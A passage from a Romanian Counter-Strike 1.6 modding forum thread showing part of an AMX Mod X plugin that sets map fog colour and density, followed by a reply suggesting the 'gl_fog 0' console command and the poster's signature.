		parse(args[1],rgb[0],3,rgb[1],3,rgb[2],3)
		for(i=0;i < 3;i++) numrgb[i] = str_to_num(rgb[i])
	}
	if(numrgb[0] < 0 || numrgb[0] > 255 || numrgb[1] < 0 || numrgb[1] > 255 || numrgb[2] < 0 || numrgb[2] > 255) {
		client_print(id,print_console,"WARNING: RGB has to be a number between 0 and 255.");
		for(i=0;i < 3;i++) numrgb[i] = 150
	}
	if(density == 0 || density > 9 || density < 1) {client_print(id,print_console,"WARNING: Density has to be a number between 1 and 9");density = get_pcvar_num(density_cvar);}
	switch(density) {
		case 1:{tempdens[0]=3;tempdens[1]=58;tempdens[2]=111;tempdens[3]=18;}
		case 2:{tempdens[0]=125;tempdens[1]=58;tempdens[2]=111;tempdens[3]=18;}
		case 3:{tempdens[0]=27;tempdens[1]=59;tempdens[2]=66;tempdens[3]=96;}
		case 4:{tempdens[0]=60;tempdens[1]=59;tempdens[2]=90;tempdens[3]=101;}
		case 5:{tempdens[0]=68;tempdens[1]=59;tempdens[2]=90;tempdens[3]=101;}
		case 6:{tempdens[0]=95;tempdens[1]=59;tempdens[2]=10;tempdens[3]=41;}
		case 7:{tempdens[0]=125;tempdens[1]=59;tempdens[2]=111;tempdens[3]=18;}
		case 8:{tempdens[0]=3;tempdens[1]=60;tempdens[2]=111;tempdens[3]=18;}
		case 9:{tempdens[0]=19;tempdens[1]=60;tempdens[2]=68;tempdens[3]=116;}
	}
	g_density[0]=tempdens[0]
	g_density[1]=tempdens[1]
	g_density[2]=tempdens[2]
	g_density[3]=tempdens[3]
	r = numrgb[0]
	g = numrgb[1]
	b = numrgb[2]

	if(equali(args[0],"on") || args[0][0]=='1') {
		on = true
		message_begin(MSG_ALL,get_user_msgid("Fog"),{0,0,0},0)
		write_byte(numrgb[0])  // R
		write_byte(numrgb[1])  // G
		write_byte(numrgb[2])  // B
		write_byte(tempdens[2]) // SD
		write_byte(tempdens[3])  // ED
		write_byte(tempdens[0])   // D1
		write_byte(tempdens[1])  // D2
		message_end()
	}
	else if(equali(args[0],"off") || args[0][0]=='0') {
		on = false
		message_begin(MSG_ALL,get_user_msgid("Fog"),{0,0,0},0)
		write_byte(0)  // R
		write_byte(0)  // G
		write_byte(0)  // B
		write_byte(0) // SD
		write_byte(0)  // ED
		write_byte(0)   // D1
		write_byte(0)  // D2
		message_end()
	}
	return PLUGIN_HANDLED
}

public client_putinserver(id) set_task(0.1,"set_fog2",id)

public set_fog2(id) {
	if(on || get_pcvar_num(onoff)) {
		new number[3],tempdens[4]
		if(g_density[0] == 0 && !on) {
			switch(get_pcvar_num(density_cvar)) {
				case 1:{tempdens[0]=3;tempdens[1]=58;tempdens[2]=111;tempdens[3]=18;}
				case 2:{tempdens[0]=125;tempdens[1]=58;tempdens[2]=111;tempdens[3]=18;}
				case 3:{tempdens[0]=27;tempdens[1]=59;tempdens[2]=66;tempdens[3]=96;}
				case 4:{tempdens[0]=60;tempdens[1]=59;tempdens[2]=90;tempdens[3]=101;}
				case 5:{tempdens[0]=68;tempdens[1]=59;tempdens[2]=90;tempdens[3]=101;}
				case 6:{tempdens[0]=95;tempdens[1]=59;tempdens[2]=10;tempdens[3]=41;}
				case 7:{tempdens[0]=125;tempdens[1]=59;tempdens[2]=111;tempdens[3]=18;}
				case 8:{tempdens[0]=3;tempdens[1]=60;tempdens[2]=111;tempdens[3]=18;}
				case 9:{tempdens[0]=19;tempdens[1]=60;tempdens[2]=68;tempdens[3]=116;}
			}
		}
		else {
			tempdens[0] = g_density[0]
			tempdens[1] = g_density[1]
			tempdens[2] = g_density[2]
			tempdens[3] = g_density[3]
		}
		if((r > 0 || g > 0 || b > 0) && on) {number[0] = r;number[1] = g;number[2] = b;} 
		else {
			new string[16],string2[3][4],i
			get_pcvar_string(rgb2,string,15)
			parse(string,string2[0],3,string2[1],3,string2[2],3)
			for(i=0;i < 3;i++) number[i] = str_to_num(string2[i])
			if(number[0] < 0 || number[0] > 255 || number[1] < 0 || number[1] > 255 || number[2] < 0 || number[2] > 255)
				log_amx("WARNING: RGB has to be a number between 0 and 255.")
		}
		message_begin(MSG_ONE,get_user_msgid("Fog"),{0,0,0},id)
		write_byte(number[0])  // R
		write_byte(number[1])  // G
		write_byte(number[2])  // B
		write_byte(tempdens[2]) // SD
		write_byte(tempdens[3])  // ED
		write_byte(tempdens[0])   // D1
		write_byte(tempdens[1])  // D2
		message_end()
	}
}

/*
				case 1:{tempdens[0]=125;tempdens[1]=58;tempdens[2]=111;tempdens[3]=18;}
				case 2:{tempdens[0]=3;tempdens[1]=58;tempdens[2]=111;tempdens[3]=18;}
				case 3:{tempdens[0]=68;tempdens[1]=59;tempdens[2]=90;tempdens[3]=101;}
				case 4:{tempdens[0]=125;tempdens[1]=59;tempdens[2]=111;tempdens[3]=18;}
				case 5:{tempdens[0]=95;tempdens[1]=59;tempdens[2]=10;tempdens[3]=41;}
				case 6:{tempdens[0]=60;tempdens[1]=59;tempdens[2]=90;tempdens[3]=101;}
				case 7:{tempdens[0]=27;tempdens[1]=59;tempdens[2]=66;tempdens[3]=96;}
				case 8:{tempdens[0]=3;tempdens[1]=60;tempdens[2]=111;tempdens[3]=18;}
				case 9:{tempdens[0]=19;tempdens[1]=60;tempdens[2]=68;tempdens[3]=116;}
				
						   D1   D2   SD    ED
				----------------------------------------
				 0.001 = -125 ; 58 ; 111 ; 18
				 0.002 = 3 ; 59 ; 111 ; 18
				 0.003 = 68 ; 59 ; -90 ; -101
				 0.004 = -125 ; 59 ; 111 ; 18
				 0.005 = -93 ; 59 ; 10; -41
				 0.006 = -60 ; 59 ; -90 ; -101
				 0.007 = -27 ; 59 ; 66 ; 96
				 0.008 = 3 ; 60 ; 111 ; 18
				 0.009 = 19 ; 60 ; -68 ; 116
*/

User avatar
levin
Scripter eXtreamCS
Scripter eXtreamCS
Posts: 3844
Joined: 24 Aug 2011, 12:24
Detinator Steam: Da
CS Status:
Detinator server CS: ☯∴
SteamID: riseofevo
Reputatie: Scripter eXtreamCS
Nume anterior: Adryyy
Location: ҳ̸Ҳ̸ҳ
Discord: devilclass
Has thanked: 36 times
Been thanked: 594 times
Contact:

21 Apr 2021, 16:33

gl_fog 0 în consolă:))
Pentru ajutor, faceți cerere bine detaliată, completând și respectând modelul corespunzător.
Nu-mi mai dați cereri doar pentru a mă avea în lista de prieteni.
Dacă te ajut, și mă ignori/etc > te adaug în „foe”.
Aveți grijă la cei ce încearcă să mă copieze sau să dea drept mine..Puteți lua legătura cu mine prin STEAM dacă aveți o problemă/nelămurire în acest caz! Cont de forum am doar aici.
În cazul în care utilizați ceva din ce am postat(ex: aici), e bine să fiți la curent cu modificările aduse și de aici, iar dacă sunt ceva probleme nu ezitați să luați legătura cu mine. Actualizarea unor coduri nu se vor afișa public, doar dacă se găsește ceva critic/urgent de remediat, unele fiind coduri vechi iar unele refăcute chiar recent dar private.
* Nume pe cs1.6: eVoLuTiOn \ Nume vechi: eVo
* Atelierul meu - post2819572.html#p2819572 (închis, click link ca să vedeți de ce)
Post Reply

Return to “Cereri”

  • Information
  • Who is online

    Users browsing this forum: No registered users and 1 guest